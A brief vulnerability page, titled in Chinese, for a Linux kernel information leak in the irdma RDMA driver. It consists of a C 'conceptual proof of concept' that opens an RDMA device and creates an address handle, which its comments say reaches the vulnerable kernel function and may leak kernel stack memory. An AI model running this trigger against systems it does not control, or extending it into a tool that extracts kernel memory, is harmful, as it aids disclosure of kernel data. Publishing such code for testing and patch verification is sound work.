CVE-2026-23335 Linux内核信息泄露漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <infiniband/verbs.h> // Conceptual Proof of Concept for CVE-2026-23335 // Requires a system with RDMA/irdma hardware and driver loaded. int main() { struct ibv_context *ctx; struct ibv_pd *pd; struct ibv_ah *ah; struct ibv_ah_attr attr = {0}; int num_devices; struct ibv_device **device_list; // 1. Get the list of RDMA devices device_list = ibv_get_device_list(&num_devices); if (!device_list || num_devices == 0) { fprintf(stderr, "No RDMA devices found.\n"); return 1; } // 2. Open the first device ctx = ibv_open_device(device_list[0]); if (!ctx) { fprintf(stderr, "Failed to open device.\n"); return 1; } // 3. Allocate Protection Domain pd = ibv_alloc_pd(ctx); if (!pd) { fprintf(stderr, "Failed to allocate PD.\n"); ibv_close_device(ctx); return 1; } // 4. Prepare AH attributes // Note: Valid port_num and other attributes depend on hardware configuration attr.port_num = 1; attr.is_global = 0; // 5. Create Address Handle (AH) // This triggers the vulnerable irdma_create_user_ah function ah = ibv_create_ah(pd, &attr); if (!ah) { perror("Failed to create AH"); // Check errno for details } else { printf("AH created successfully.\n"); printf("Kernel stack memory may have been leaked in the response buffer.\n"); ibv_destroy_ah(ah); } // Cleanup ibv_dealloc_pd(pd); ibv_close_device(ctx); ibv_free_device_list(device_list); return 0; }